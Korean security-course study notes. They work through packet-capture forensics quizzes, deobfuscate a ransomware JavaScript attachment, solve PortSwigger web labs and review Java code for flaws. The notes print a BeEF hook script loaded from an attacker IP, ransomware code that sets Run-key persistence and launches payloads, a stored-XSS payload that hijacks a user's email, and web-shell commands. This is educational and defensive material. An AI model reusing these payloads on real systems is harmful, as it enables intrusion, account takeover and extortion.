
[activation_code] =>

[activated] => 1

[reset_code] =>

[admin] => 1

)

Array

(

[id] => 2

[login] => bee

[password] => 6885858486f31043e5839c735d99457f045affd0

[email] => bwapp-bee@mailinator.com

[secret] => Any bugs?

[activation_code] =>

[activated] => 1

[reset_code] =>

[admin] => 1

)

6. 공격자가 시스템에 침투 한 후에 실행한 명령어는?

- 개인정보 가져 가는 부분 (261번)

--> host=localhost&usr=root&passwd=bug&db=bWAPP&mquery=select+%2a+from+users

퀴즈 2

  • Statistics > Protocol Hierarchy : 특별한 것은 없었지만 Data 많이 차지하고 있는 것을 볼 수 있음

- 무언가 큰 걸 다운받았구낭

  • Conversation > TCP : 클라이언트는 한 명밖에 없음 (192.168.130.144)

- 도메인이 여러개 인 것 확인 가능한데 192.168.130.129가 가장 의심되는 상황

--> 3000포트와 9999포트

  • HTTP > Request > Burst Start : 82번은 test.nanum.info:82 / board_list.asp와 /board_view.asp가 의심스럽고 3000 포트에는 hook.js와 BEEFHOOK이 보임

- 192.168.130.129에서는 exe 파일이 내려오고 있음

--> hook.js?BEEFHOOK은 snort rule에도 있음 (IDS에서 탐지가 가능하다는 말)

  • Export > HTTP : 파일을 확인할 수 있지만 어디와 포트가 연결되고와 같은 것을 바로 알지는 못 해서 지속적으로 찾아가야 함
  • NetworkMiner로 봐 보기
  • Files(7) : 파일 이름, 확장자, 연결된 포트와 IP 같은 것들이 있음

- exe는 90과 연결되어 있고 뒤에 dll이 9999와 연결되어 있는 것 확인 가능 (dll injection)

--> wireshark에서 meterpreter 검색해서 확인해볼 수 있음

  • hook.js가 어디 있는 것인지도 wireshark에서 확인하는 것이 좋음
  • 다시 와이어샤크로 가 보기
  • board_view 부분 view.html로 저장해서 데이터 확인해보기

- view pagesource >해서 보면 스크립트 확인 가능

--> <script src="http://192.168.130.129:3000/hook.js"></script>

1. 악성코드 감염된 사람이 방문한 사이트 도메인은?

http://test.nanum.info

2. 악성코드가 삽입된 메뉴(기능)을 추정해보세요.

게시판

3. 악성코드 스크립트 구문은?

<script src="http://192.168.130.129:3000/hook.js"></script>

4. 악성 서버가 배포되는 IP 주소는?

192.168.130.129

5. 사용자에게 감염된 악성코드 파일 이름은? (확장자 포함)

security.exe , meterpreter.dll

6. 감염자에 연결된 악성서버 포트 번호는?

9999

7. 공격자가 사용자 감염을 유도하기 위해 사용한 페이크 설치 화면은?

adobe/flash_update.png

퀴즈 3

  • Protocol Hierarchy > MIME : 첨부파일 있는 것
  • Conversation > TCP : 너무 많음

- Port 기준으로 보기 : 8180, 8989 포트 의심스럽

- 192.168.206.152와 192.168.206.154가 접속한 것 보이는데 152가 8180에 많이 접속함

- 8989는 클라이언트와 호스트 위치가 바뀌어있는 것 확인 가능

--> Reverse Connection 의심

  • HTTP > Requests > Burst Start : 8180이 웹서버 쪽인데 manager/html/upload -> attack/shell/jsp 공격 실행됨

- 워드 프레스 사용됨

  • NetworkMiner에서 확인해보기
  • Hosts : 굉장히 많음

- 192.168.206.133 보면 Metasploitable

--> Outgoing session 보면 8989포트, inbound는 8180

  • Files(141) : 너무 많고 shell 찾아보면 없음

- 100% 파일을 생성하는 것은 아님

- 실제로 악의적인 파일들이 없는 것 보임

  • Images : 별로 힌트될만한 것들이 없음
  • Credentials : 여기도 정보 별로 없음
  • Sessions : 연결 정보가 조금 있을 뿐
  • 결론은 다시 wireshark 보기
  • Export Objects > HTTP : shell.jsp가 많이 보이고1448번 패킷부터 봐야 함

- upload가 두 개가 있음 html 페이지로 접근한 것과 upload 페이지에 뭔가 올린 것이 multipart

- 1509 클릭 -> TCP Follow해서 가운데 쯤 보면 우리가 클릭한 곳 나옴

--> attack.war : PK는 압축파일임 (ZIP이나 War 파일)

--> 그래서 아래쯤으로 내려가면 shell.jsp가 보이게 됨 이거를 긁어서 해석하는 것 귀찮잖아?

--> 그래서 1509의 MIM 안에 multipart 안에 Data 클릭하면 옆에 보임

- 그리고 이 데이터 클릭해서 Export packet Bytes하면 됨 -> attack.war 파일로 저장

┌──(kali㉿kali)-[~] └─$ md5sum attack.war 5e86ca5044bddeb1ca5f7b5852fdc360 attack.war ┌──(kali㉿kali)-[~] └─$ unzip attack.war Archive: attack.war creating: META-INF/ inflating: META-INF/MANIFEST.MF inflating: shell.jsp //6번 정답
  • upload 부분 html로 저장해서 봐 보기
  • jsp 저장해서 봐 보기

- 이건 TCP Follow해서 그거 자체를 저장해서 보는 것이 어떤 공격을 했는 가 다 눈에 볼 수 있어서 좋음

--> command=ps+-aux , command=ls+-al, sort=1&Submit=Delete+selected+files (공격파일 삭제)

1. 공격에 성공한 공격자 IP는?

192.168.206.152

2. 공격자 이외 서비스에 접근한 IP는?

192.168.206.154

3. 공격자가 시스템에 침투하기 위해 접근한 서비스 포트는?

8180

4. 공격자가 어떤 취약점을 이용한 것인지 서술하시오.

파일 업로드 취약점

5. 공격자가 리버스공격을 하기 위해 사용한 포트는?

8989

6. 공격자가 올린 웹쉘의 이름과 md5 해시 값은?

shell.jsp

5e86ca5044bddeb1ca5f7b5852fdc360

7. 공격자가 웹쉘을 올린 뒤에 사용한 명령어를 찾는대로 작성하시오.

command=ps+-aux , command=ls+-al, sort=1&Submit=Delete+selected+files


침해사고 분석

악성코드 실제 사례

  • 인터넷 브라우저를 통한 악성코드 유포

- 인터넷 검색만으로도 악성코드 배포 가능

- IE와 Adobe Flash의 취약점 조합으로 인한 보안 이슈 + HTML5 등장으로

--> Adobe Flash 종료, IE는 Edge로 변경 (Edge는 V8)

- 요즘은 Chrome 취약점 많이 건드는 중

  • 불법 크랙 프로그램을 사용한 악성코드 유포
  • 피싱/파밍을 통한 악성코드 유포

- 피싱은 ID/PW 유도

- 파밍은 도메인 -> IP (DNS) : hosts 파일 참고해서 도메인 - IP 매칭 참고해서 DNS 서버 조회

--> hosts 파일 교체해서 naver.com - 악성코드 ip 이렇게 매칭 시켜 놓는 것

  • 외부 문서의 매크로를 통한 악성코드 유포

- 북한이 이거 되게 많이 함

--> 네이버 메일 피싱 되게 많이 오는데 그거 북한이 보낸 거 개많음

자바스크립트 악성코드 배포 방식

  • 경유지 : 웹사이트에 코드 삽입 (뉴스, 파일 공유, 카페 검색 등)
  • 중계지 : 굉장히 많음

- 트리구조로 복잡하게 만들어 둠

- 많은 중계지 확보 중요

  • 배포지 : 최종적으로 배포되는 곳

- Exploit Pages

  • 어떻게 배포 되는가?

- iframe으로 해서 정상 적인 frame에 섞어 둠

- iframe 안에 들어있는 것은 난독화가 되어있어서 js파일이 실행되도록

--> 풀면 exe 파일 나옴

  • 그래서 난독화 빨리 풀어서 전달해줘야 추가적인 피해 생기는 것 방지 가능
  • 접속햇던 사람들이 많다면 확인 후 후속조치가 필요함

악성코드 분석해보기

  • NetworkMiner 확인해보기
  • 일단 정보 짱 많음
  • Images : 엄청 많음

- 구글, 트위터, 페이스북, 핸드폰, 약 등

- 아래쪽에 보면 favicon, bitcoin 등 의심스러운 것들이 보임

- open folder해보면 104.238.174.179

  • Hosts : 174.179 검색해보기

- Hostname : lk2gaflsgh.jgy658snfyfnvh.com

--> 구르면서 봐도 이상한 도메인

- Hosts에서 그냥 쭉 보면 이상한 애들이 보임

  • Files : Frame 기준으로 나열되어 있음

- 사용자가 접근했던 순서임

- 위쪽에서는 계속 정상적인 페이지에 접근했음

- 중간중간 구글 광고들이 들어가 있음

- 근데 중간에 갑자기 ipinfo.io라는 것이 껴 있음

--> 악성코드 삽입 의심 (IP 정보들을 받아오는 사이트들이어서)

- 마지막 즈음에 bitcoin.png와 이상한 도메인들의 IP가 동작중인 것을 알 수 있음

--> lk뭐시기 폴더 들어가서 html 보니까 file decrypt 해주는 것 확인 가능

--> 그리고 그 밑에 파일 보니까 encrypted 보니까 랜섬웨어임

- 위쪽에 뭔가에 악성 코드 걸리는 곳이 있다는 얘기

- 와이어샤크에서 봐보기

  • Export > HTTP : .ga 해보면 9690부터 9967까지 한참 접근함

- 근데 그러다가 ipinfo.io가 동작함

- 또 한찬 vitamin이 동작하다가 lk2 페이지가 나오게 됨

  • 정리하자면 9674의 vitaminsthatrock.com에 악성코드가 등록되어 있을 확률이 높음

- index 페이지를 가져와 봐야함

- 페이지 소스코드 가져오기

- .ga 찾아보면 iframe 삽입 되어 있는 것 볼 수 있음

--> 이게 경유지가 되는 것

--> 그리고 vcl뭐시기 파일들이 분산되어 내려오고 있는 것 확인 가능

--> TCP Follow해보니까 바이너리 파일들이 내려오고 있음을 알 수 있음

- 배포지가 두 개정도 사용중임 10437과 12392번으로 사용중인 것으로 보임

1. 어떤 악성코드가 감염이 되었는가?

랜섬웨어

2. 악성코드 스크립트가 삽입된 사이트를 추측해보세요.

vitaminsthatrock.com

3. 악성코드의 경유지 사이트를 추측해보세요.

vcl뭐시기, lk 뭐시기

자바스크립트

  • 동작순서 : 동작 순서 : <script> 발견 -> 렌더링 엔진 일시 중지 -> 자바스크립트 해석기 동작 -> 실시간 해석 실행 -> HTML인 경우 메모리에 저장 -> </script>발견 -> 메모리에 저장된 HTML 코드를 렌더링 엔진에 전달-> 자바스크립트 엔진 중지 -> 렌더링 엔진 재동작
  • 들여쓰기 개념 없음
  • 굉장히 유연함

자바스크립트 난독화

  • 코드를 읽기 어렵게 하는 기법

- 역공학

- 내가 만든 파일 딴사람이 보면 안돼서

  • 이걸 악성코드 만드는 사람도 적용하기 시작함
  • JavaScript Compress : 필요없는 값을 삭제하여 자바스크립트를 압축시키는 기법
  • JavaScript functionExpression : 코드를 함수로 사용하여 억지스럽게 데이터의 크기를 늘리고 흐름을 혼란시키는 기법
  • JavaScript Data Split : 사용하는 코드들을 나누어 저장하고 마지막에 실행시킨다

- 오우 예시가 오우

  • JavaScript Data replace : 사용하는 코드에 쓰레기 코드를 삽입하고 나중에 모두 제거하는 기법

- 개충격적으로 생겨서 벌써 손떨려

  • JavaScript Data Encoding : 사용하는 코드를 인코딩하여 사람이 알아볼 수 없는 데이터로 바꾸는 기법

- 최종 결과물이 됨

  • 10진수 난독화 사례 : 아스키 코드

- 뭐든지 뒤에 푸는 과정이 나옴

  • p.a.c.k.e.r 난독화 사례 : 익명 즉시 실행 함수를 사용

- 요즘엔 막 많이 쓰이지는 않음

  • jjencode 난독화 사례 : 일본에서 만든 기호만을 이용해 자바스크립트와 동일하게 동작하는 난독화 코드를 만드는 것

- 이건 한창 많이 썼음

  • 크롬 콘솔을 이용한 복호화

- xmp 사용해서 packer 풀 수 있음

이메일 분석

  • Notepad++에 첨부파일에 있던 js 올려서 보기
  • 보니까 한 줄임

- Function Expression

- 보기 > 자동 줄바꿈 실행

  • 플러그인 관리 > JSTool 설치 > JSFomat
  • 맨 마지막 가 보면
t42 = t42.join(""); eval(t42); //이렇게 되어있음
  • 크롬 콘솔로 바꿔보기
  • eval 제외하고 복사

- allow pasting 후 복사한 것 붙여넣기

  • 밑에 나온 결과 복사해서 다시 새 노트패드에 넣어 test.js로 저장하기
  • 이걸 다시 JSFormat으로 정리하기
  • 해석해보자
  • 젤 중요한 부분
var ll = ["bapanivato.abjibapanichhatedi.org", "nielitkolkata.esspl.in", "funwithmum.com", "nielitgangtok.esspl.in", "pearsonresearchconsulting.com"]; // 도메인을 확보해 놓은 것

- 확인해봐서 차단이 안되는 것에 동작되게끔 해두는 것

fp.WriteLine("3. Send " + bc + " BTC to this Bitcoin address:"); fp.WriteLine(""); fp.WriteLine(" " + ad); //0.4bit 정도를 보내라

- 랜섬웨어임

var ws = WScript.CreateObject("WScript.Shell"); // WScript.shell : cmd임 var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a"; var pd = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "php4ts.dll"; //TEMP 파일 생성 if (!fo.FileExists(fn + ".txt")) { //파일이 없으면 동작

- 이후 각각의 주소값 확인하기

- 어떤 것들은 exe 파일로 저장하고, 다운로드 된 것 중 가장 마지막 파일은 php파일로 저장

- 파일 있으면 동작하는 것이 또 있음

- text파일에 저장하는 것

- 다 저장하면 윈도 cmd 열어서 실행함

ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCU" + cs + "SOFTWARE" + cs + "Microsoft" + cs + "Windows" + cs + "CurrentVersion" + cs + "Run" + cq + " /V " + cq + "Crypted" + cq + " /t REG_SZ /F /D " + cq + fn + ".txt" + cq, 0, 0); ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCR" + cs + ".crypted" + cq + " /ve /t REG_SZ /F /D " + cq + "Crypted" + cq, 0, 0); ws.Run("%COMSPEC% /c REG ADD " + cq + "HKCR" + cs + "Crypted" + cs + "shell" + cs + "open" + cs + "command" + cq + " /ve /t REG_SZ /F /D " + cq + "notepad.exe " + cs + cq + fn + ".txt" + cs + cq + cq, 0, 0); ws.Run("%COMSPEC% /c copy /y " + cq + fn + ".txt" + cq + " " + cq + "%AppData%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0); ws.Run("%COMSPEC% /c copy /y " + cq + fn + ".txt" + cq + " " + cq + "%UserProfile%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0); ws.Run("%COMSPEC% /c " + fn + ".exe " + cq + fn + ".php" + cq, 0, 1); ws.Run("%COMSPEC% /c notepad.exe " + cq + fn + ".txt" + cq, 0, 0); //HKCU, HKCR 은 레지스트리임

- 레지스트리 편집기 가 보면 HKCR과 HKCU 볼 수 있음

--> HKCR은 확장자와 관련된 것들로 확장자 연결프로그램 관리

- 코드에서 crypted는 확장자 바꾸는 것

--> 랜섬웨어 걸리면 확장자 바뀌고 비밀번호 걸려짐

- HKCU는 현재 로그인 되어있는 사용자의 환경 관리함

--> Software, Microsoft, Windows, CurrentVersion이런거 전부 시작할 때 돈주라는 경고문 실행되도록 하는 것임

  • Desktop있는 것을 보면 바탕화면에도 돈주라는 경고문 떠 있을 것임
  • 그 다음에 이제 필요없는 것들은 다 삭제 됨

- 만들었던 것들 다 없애는 것

  • 이렇게 브라우저와 js를 통해 윈도우즈의 cmd 제어가 가능함

- 그래서 매우 위험한 것

  • 그니까 malwarescript이런 데서 어떻게 악성코드가 동작하는 지 잘 봐보라는 것

PCAP 파일 분석해보기

  • 아까 위에서 요청한 도메인 5개임
  • 첫번째거 TCP stream 해보기

- png인데 MZ야 밑에 내려서 보면 딴것도 그래

  • NetworkMiner가서 보면 더 잘 나와있음

- php가 이제 얘네를 실행시키는 파일이 되는 것

  • 이걸 이제 역공학 분석으로 코드를 분석해보게 되는 것

* 악성코드 배포하는 방법

1. 구글 검색 -> exe 파일 -> 크롬 세이프 브라우징!!차단...

2. ISO 파일 -> lnk 파일 -> exe 파일

3. 웹 사이트를 통해 배포하는 방식 (XSS취약점 -> exe파일)

4. 이메일 첨부 -> 문서파일(VBA), js파일, exe파일, ISO파일



초기화면

comment란에 이렇게 입력 후 프록시 잡기

스크립트 삽입

성공

초기화면

test 써서 프록시 잡아보기

스크립트 삽입

성공

비슷한 초기화면

근데 안먹힘

요 사이에 있는거구나! 그렇다면

요렇게 스크립트를 한 번 닫아주고 다시 만들면?

성공!

Stored XSS 취약점 확인 및 CSRF 공격 구문 작성하기

https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf

초기화면

wiener:peter라고 초기에 알려줌

내 이메일이야

이걸 보는 사람마다 이메일을 이걸로 바꾸는 구문을 삽입

<script> var req = new XMLHttpRequest(); // 객체 생성 req.addEventListener("load", handleResponse); // 호출 req.open('get','/my-account'); req.send(); function handleResponse() { console.log(`Loaded junshae: ${req.status} ${req.response}`); // 디버깅 // 해당 서비스가 csrf 토큰 사용 (공격자가 자동화공격을 하는 걸 귀찮게 만들기 위한 것 - 사용자로부터 요청 중복 방지) var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; // 테스트하려는 값 console.log(`junshae : ${token}`) // 디버깅 var changeReq = new XMLHttpRequest(); // 변조되는 요청 changeReq.open('post', '/my-account/change-email'); changeReq.send('csrf='+token+'&email=test@test.comssss'); //이메일 주소 변경 }; </script>

왕!

SQL Injection 취약점 확인 및 관리자(administrator) 계정으로 로그인 성공하기

https://portswigger.net/web-security/sql-injection/lab-login-bypass

초기화면

관리자 로그인 도전

'-- 넣어보기

또잉

SQL Injection 취약점 확인 및 Blind SQL Injection 공격

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

초기화면

이게 안먹히네!

TrackingID에서 구문이 먹히네!

users 라는 게 있군

administrator의 비밀번호가 1자리 이상이라구?

여기서 숫자가 달라져서 확인해보니 비밀번호는 20자리라는 것을 알아냄!

그럼 20자리를 알아내보자

알파벳 소문자와 숫자로만 돼있다고 처음에 그랬으니까 딕셔너리 하나 만들어

첫번째는 C구나! 이런식으로 20자리 알아내면 노가다지만 해보자

아유 힘들어

풀었당!!

* SQL 구문 테스트 사이트 : https://sqltest.net/

파일 업로드 취약점 확인 후 서버 내 /home/carlos/secret 값 확인

https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

초기화면

파일업로드 취약점이니까 php 파일 하나 만들어주기

파일 업로드 할 수 있는 여기에 넣기

업로드가 됐다

사진이 아니어서 안보이지만 뭔가 적용된 것이 보임

프록시 가서 보니까 비밀 코드가 나왔다

그 글자를 Submit 해보니 문제 해결!

파일 업로드 취약점 확인 후 서버 내 /home/carlos/secret 값 확인2

https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass

초기화면

이번엔php 파일 안올라가짐

확장자명만 바꿔봄

올라가짐!

아파치 서버라는 점을 이용해 아파치에서 우회해서 실행 가능한 파일을 만들어줌

1234로 바꾼 것 실행가능하도록!

올라가짐

다시 올리기~

됐다!

성공!

Directory Traversal 취약점 확인 후 서버 내 /etc/passwd 값

https://portswigger.net/web-security/file-path-traversal/lab-simple

초기화면

filename에서 뭔가 될 거 같지?

에러가 나지는 않으니 더 상위 폴더로 가보자

왕 나왔당

Directory Traversal 취약점 확인 후 서버 내 /etc/passwd 값2

https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode

초기화면

이번에도 아까처럼해볼까?

역시 아니군!

URL 인코딩해봐?

힁 안되네 한번만 더 해봐?

헿 됐다


인증우회 공격

  • 인증 / 인가 : 인증은 사용자 확인, 인가는 인증된 사용자의 접근 권한 부여

https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality

초기화면

/administrator-panel로 가지 말래

  • robots.txt : 웹사이트 검색 로봇이 접근하는 것을 방지하기 위한 국제 규약

- 여기 접근하지 말라고 해 둔 것 때문에 접근할 수 있게 됨

갔더니 사용자를 삭제할 수 있네??!!

바로 삭제하기

초기화면

주어진 관리자 계정으로 로그인

권한 상승이 가능한 페이지가 있네?

carlos 권한 상승하는 거 Proxy 잡아봤더니 저걸로 wiener 권한도 상승 할 수 있을 것 같음

위너로 로그인함

위너 쿠키 넣고 위너 이름 넣어서 Send 해 봄

성공


 

 

소스 코드 진단

웹 애플리케이션 취약점 진단

  • 동적진단 vs 정적진단 (소스코드 진단)
  • 소스코드(정답지) 보고 진단
  • 동적진단 장점 : 상대적으로 진단 소요 기간이 적다 (1URL 2-3 Day | 1-2주)

- 단점 : 누락의 가능성이 상대적으로 높다 / 진단자의 역량에 따라 결과 산출물의 품질 달라짐

  • 정적진단 = 소스코드 방법론(Data Tracing)

- 장점 : 보다 Depth 있고 상세한 진단 가능

- 단점 : 시간이 오래 걸림 (1개 서비스 1URL 최소 2주 ~ 수개월) / 진단자 역량에 따라 결과 산출물의 품ㅁ질 달라짐 (편차가 상대적으로 큼)

소스코드 진단 방식 2가지

  • 자동화 솔루션(반자동화) (App Scan/Fortify 등) => 결과 보고서 자동으로 나옴

- 장점 : 간편하다 / 시간이 적게 든다

- 단점 : 과오탐 비율이 크다 / 솔루션을 잘 이해하고 있는 엔지니어(진단자)가 필요함

  • 수동진단(사람) => 편차가 큰 결과물이 나옴

- 장점: 도출한 취약점에 대한 결과가 명확하다

- 단점 : 시간이 오래걸린다 / 진단자에 대한 결과물 품질의 편차가 크다

  • 프로세스 : 대상 서비스 정보 수집/획득 > 소스코드 기반 환경 분석 (서비스 분석) > 입/출력 트레이싱(분석) > 취약점 진단 수행 > 보고서 작성 및 취약점 리뷰 > 취약점 조치 및 이행점검 수행

소스코드 분석 방법

  • 소스코드 안에 포함된 설정 파일을 보고 환경 분석
  • Raw Data 활용해서 입/출력 트레이싱 진행
  • 입력 > 입력처리 1 > 입력처리 2 > DB > 출력처리1 >출력
  • 입력 > 출력 (서버를 거치지 않는 XSS)
  • 입력 > 입력처리 1 > DB(Stored XSS, SQL Injection)
  • 입력 > 입력처리1 > 입력처리 2 > 입력처리 3 > 출력 (반사형 XSS)

소스코드 진단 예시

  • 1번 (XSS)
<%@page contentType=”text/html”pageEncoding=UTF-8%> <html> <head> <meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8> </head> <body> <h1>Sample Code</h1> <% String name=request.getParameter(“name”); String title=null; … rs=pstmt.executeQuery(query); while(rs.next()){ title=rs.getString(“title”))} %> <p>NAME:<%=name%></p> <p>TITLE:<%=title%></p> </body> </html>

- XSS 취약점 존재함 : String name=request.getParameter(“name”);

--> 사용자로부터 전달받은 name이 name으로 저장되어 밑에서 출력되어지느 ㄴ중임

--> name 파라미터 값에 대한 필터링 구문이 존재하지 않음

- 즉, 특별한 보호를 받지 못하고 그대로 파라미터 값이 노출되기 때문에 XSS 가능성이 있음

- rs~title 부분은 SQL Injection이 될 수도 있는 가능성이 있지만, XSS 같이 명확하게 출력값이 나오는 부분이 없으므로 완전히 취약하다고 볼 수 없음

  • 동적 예제 1번

- XSS 대응방안의 최선은 특수문자 필터링임

- 여기 예제에서는 키워드 필터링을 진행중임(iframe, alert, script에 대해)

--> 우회 가능 의미

--> <img src=x onerror="prompt("xss Test")"/> 이런식으로 작성해서 넣을 수 있음

- (클라이언트) 인코딩(공격 구문) -> (서버)디코딩

--> 이런 작업이 있어야 하지만 예제에서는 디코딩 구문이 존재하지 않으므로 우회 가능할 것으로 예측 가능

  • 동적 예제 2

- 키워드 필터링 적용 중 : script, iframe, alert, document, cookie를 필터링 중

- 우회할만한 키워드를 만들 수 있음

- goodsResiger(vo)가 데이터를 받고 있는데 다시 이걸 mapper.insertSelectKey(vo)로 옮기는 것 볼 수 있음

--> 또 이것을 찾아보니 DB 쿼리 처리가 되는 것 보임

  • 2번 (SQL Injection)
Class Login{ Public Connection getConnection() throws SQLException{ DriverManager.registerDriver(new com.microsoft.sqlserver.jdbc.SQLServerDriver()); String dbConnection=PropertyManager.getProperty(“db.connection”); return DriverManager.getConnection(dbConnection); } Public void doPrivilegedAction(String username, char[] password) throws SQLException{ Connection connection=getConnection(); if(connection==null){ //handle error } try{ String pwd=HashUtil.hashPassword(password); String sqlString=SELECT*FROM db_user WHERE username=‘”+username+“’AND password=‘”+pwd+“’”; Statement stmt=connection.createStatement(); ResultSet rs=stmt.executeQuery(sqlString); if(!rs.next()){ throw new SecurityException(“Username or password incorrect”); } }finally {} }}

- 취약함, SQL Injection

- string sqlstring 내의 username은 보호받지 않고 있는 것으로 보이므로 취약함

- Public connection~} 은 DB 세팅 부분이라 사용자에 입력 받지는 않음

- public void ~} 부분은 connection이 어떻게 일어나는 지를 보여주는중임

- try 부터 값의 입력 처리가 일어나는 중임

--> username이 보호받지 못한 상태로 쿼리가 실행되므로 sql injection이 가능할 것으로 볼 수 있음

- statement 특징 : 사용자의 입력값을 쿼리로써 동작하게 해 줌

--> 예시 ) username="KIM" select * from db_user usermane="KIM" 이렇게만 되면 괜찮은데

username="KIM" and 1=1--" select * from db_user usermane="KIM" and 1=1--"

=> KIM 사용자에 대한 검색결과입니다.

--> 인증 bypass나 그 이상의 정보를 출력할 수 있게 됨

--> preparedStatement username="KIM" and 1=1--" select * db_user username "KIM and 1=1--"

=> KIM and 1=1에 대한 사용자가 없습니다.

  • 동적 예제 1

- 띄어쓰기를 빈 카능로 치환해준다는 것만 있어서 딱히 의미 없ㅇ음

- idCheck 보니 아이디 중복체크하는 함수 사용중임을 알 수 있음

- ${} => 취약, #{} => 양호

  • 3번 (파일 업로드)
Public void upload(HttpServletRequest request) throws ServletException{ MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request; String next = (String) mRequest.getFileNames().next(); MultipartFile file = mRequest.getFile(next); String filename = file.getOriginalFilename(); File uploadDir = new File(/app/webapp/data/upload/notice”); String uploadFilePath = uploadDir.getAbsolutePath()+/+fileName;} }

- 파일업로드 취약점이 존재함

- 파일 확장자 검사 안 함, 업로드된 파일 검사 안 함

- rquest -> mrequest가 되고, 파일을 갖고 오고, 파일 경로 가져오고 추출함

--> filename에 대한 조치가 없는 상태에서 업로드가 정상적으로 이루어지고 있음

--> 경로를 우회해서 파일을 업로드 시킬 수 있고, 확장자에 대한 검증이 없음

--> 차선책인 타입 / 파일크기 / 실행권한에 관한 검증도 없음

  • 동적 예제 1

- jsp 코드임

- request에 goodsfile이라는 변수를 받아오고 있고 이걸로 file명을 받아오고 있음

- 확장자 검증을 블랙리스트로 하는 중이어서 우회 가능성 예상 가능

- file type 검증 진행중임

  • 4번 (경로순회공격)
… String basePath =/web/data/; String filename = request.getParameter(“filename”); String fullPath = basePath+filename; … File f = new File(fullPath); if(f.isFile()){ FileInputStream in = new FileInputStream(fullPath); ServletOutputStream os = response.getOutputStream(); byte[] buf = new byte[1024]; Int len = 0; while((len = in.read(buf))>0){ os.write(buf,0,len); } }

- 경로순회 공격임

  • 동적 1번

- 두 번 디코드했더니 파일 경로가 나오는 것을 확인하고 인코딩 두 번해서 넣었더니 됨

 

정 / 오탐 판별

1번

String fileName = request.getParameter ("P"); BufferedInputStream bis = null; BufferedOutputStream bos = null; FileInputStream fis = null; try { response.setHeader("Content-Disposition", "attachment;filename="+fileName+";"); ... fis = new FileInputStream ("C:/datas/"+fileName); bis = new BufferedInputStream(fis); bos = new BufferedOutputStream(response.getOutputStream()); ...
  • 취약점 명 : 경로순회 (파일 다운로드)
  • 취약? 양호? : 취약
  • 사유 : fileName = request.getParameter ("P"); 이 부분에 대한 경로 검증 필터링 부재
  • 참고) response.setHeader를 만들어두는 것이 파일 다운로드 특징

2번

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> ... <select id="boardSearch" parameterType="map" resultType="BoardDto"> select * from tbl_board where title like '%'||#{keyword}||'%' order by pos asc </select>
  • 취약점 명 : SQL Injection
  • 취약? 양호? : 양호
  • 사유 : mybatis로 SQL문을 DB로 연결 시켜줌 ${}로 설정돼있으면 동적쿼리로서 동작하지만, keyword를 #{} 기호를 이용해 동적 쿼리로 동작하지 않도록 막음

3번

<% String keyword = request.getParameter("keyword"); %> keyword = keyword.replaceAll("&", "&amp;"); keyword = keyword.replaceAll("<", "&lt;"); keyword = keyword.replaceAll(">", "&gt;"); keyword = keyword.replaceAll("₩"", "&quot;"); keyword = keyword.replaceAll("'", "&#x27;"); keyword = keyword.replaceAll("/"", "&#x2F;"); keyword = keyword.replaceAll("(", "&#x28;"); keyword = keyword.replaceAll(")", "&#x29;"); <%=keyword%>
  • 취약점 명 : XSS
  • 취약? 양호? : 양호
  • 사유 : 특수문자 필터링 진행 중
  • # 하나만 필터링 안되고 있지만 #만으로 구문을 만들기는 99% 불가능 (보안에 100%라는 표현은 거의 없음)

4번

if (FileUploadCtr.PostedFile.ContentType == "image/jpeg") { if (FileUploadCtr.PostedFile.ContentLength < 102400) { string fn = Path.GetFileName(FileUploadCtr.FileName); FileUploadCtr.SaveAs(Server.MapPath("~/") + fn); StatusLabel.Text = "Upload status: File uploaed!"; } else StatusLabel.Text = "Upload Status: The File has to be less than 100 kb!"; } else StatusLabel.Text = "Upload Status: Only JPEG files are accepted!";
  • 취약점 명 : 파일 업로드
  • 취약? 양호? : 취약(50%)/양호(50%)
  • 사유 : 양호인 이유는 파일 타입을 화이트리스트 기반으로 검증하고 있음 (확장자는 . 뒤에 올라가는 내용을 검증하는 것임) 또한 파일 크기를 검증하고 있기 때문이고 취약인 이유는 확장자를 검증하고 있지 않기 때문임
  • 참고) 업로드되는 파일이 서버 내 루트 경로에 업로드 되면 안됨 여기서 ~/는 홈디렉토리인데 파일 업로드 시 올라가는 파일의 계정명은 애플리케이션 계정을 따름

5번

String id = (String)session.getValue("id"); String bn = request.getParameter("gubun"); String rd = request.getParameter("redirect"); if (id.length() > 0) { String sql = "select level from customer where customer_id = ? "; conn = db.getConnection(); pstmt = conn.prepareStatement(sql); pstmt.setString(1, id); rs = pstmt.executeQuery(); rs.next(); if ("0".equals(rs.getString(1)) && "01AD".equals(bn)) { response.sendRedirect(rd); return; }
  • 취약점 명 : SQL Injection / 검증되지 않은 리다이렉트 URL
  • 양호? 취약? : SQL Injection이면 양호 / 검증되지 않은 리다이렉트 URL 이면 취약
  • 사유 : sql injection의 양호 사유는 preparestatement를 안전하게 사용중이서 id 값이 바인딩되고 있기 때문인 것이고, 검증되지 않은 리다이렉트 URL이 취약한 사유는 redirect라는 입력값이 별도로 검증되지 않고 redirect 시키고 있기 때문

6번

String gubun = request.getParameter(“gubun”); … String sql =SELECT * FROM board WHERE b_gubun = ‘”+gubun+ “’”; Connection con = db.getConnection(); Statement stmt = con.createStatement(); ResultSet rs = stmt.executeQuery(sql);
  • 취약점 명 : SQL Injectioin
  • 취약? 양호? : 취약
  • 사유 : gubun에 대한 검증 없고 Statement가 안전하게 설정되어 있지 않음
  • 참고) 자원을 열고 닫을 때 File Open Closed / SQL Connect disconnect 또는 Close / 예외처리 이게 안되면 자원 누출 및 메모리 누수가 이루어질 수 있음

7번

